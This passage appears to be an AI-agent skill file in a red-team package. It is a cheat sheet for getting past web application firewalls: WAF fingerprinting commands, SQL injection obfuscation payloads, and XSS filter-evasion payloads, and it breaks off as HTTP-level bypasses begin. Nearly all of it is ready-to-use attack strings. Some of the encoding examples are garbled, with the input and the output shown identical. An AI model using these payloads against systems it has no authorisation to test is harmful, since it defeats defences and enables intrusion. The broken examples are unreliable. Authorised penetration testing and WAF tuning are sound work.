waf-bypasslisted
Install: claude install-skill sunilgentyala/OmniRed
# WAF Bypass Techniques
## Phase 1 — WAF Identification
```bash
wafw00f https://target.com
nmap --script http-waf-detect,http-waf-fingerprint target.com
```
Common WAFs: Cloudflare, AWS WAF, ModSecurity, Imperva, Akamai, Sucuri, F5 ASM.
## Encoding Bypasses
```
URL encoding: SELECT → %53%45%4c%45%43%54
Double URL encoding: SELECT → %2553%2545%254c%2545%2543%2554
Unicode encoding: SELECT → SELECT
HTML entities: < → < or <
Base64 (in JSON): inject base64 and decode server-side
```
## SQL Injection WAF Bypass
```sql
-- Comment insertion
SE/**/LECT
UN/**/ION
-- Case variation
sElEcT uNiOn
-- Inline version comments (MySQL)
/*!UNION*/ /*!SELECT*/
-- Whitespace alternatives
%09 (tab), %0a (newline), %0d (carriage return), %0b, %0c
-- Keyword alternatives
AND → &&
OR → ||
= → LIKE, REGEXP, IN
-- Encoding + padding
1/**/UNION/**/SELECT/**/NULL,NULL,NULL--+
```
## XSS WAF Bypass
```html
<!-- Tag alternatives -->
<sVg OnLoAd=alert(1)>
<img src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
<audio src=x onerror=alert(1)>
<!-- Event handler alternatives when onclick blocked -->
onfocus autofocus
onanimationstart + CSS animation
onpointerdown
<!-- JavaScript alternatives when "javascript:" blocked -->
data:text/html,<script>alert(1)</script>
vbscript:alert(1) (IE only)
<!-- Encoding -->
<img src=x onerror=alert(1)>
```
## HTTP-Level Bypasses
```bash
# Chunked Transfer-Encoding (splits payload acr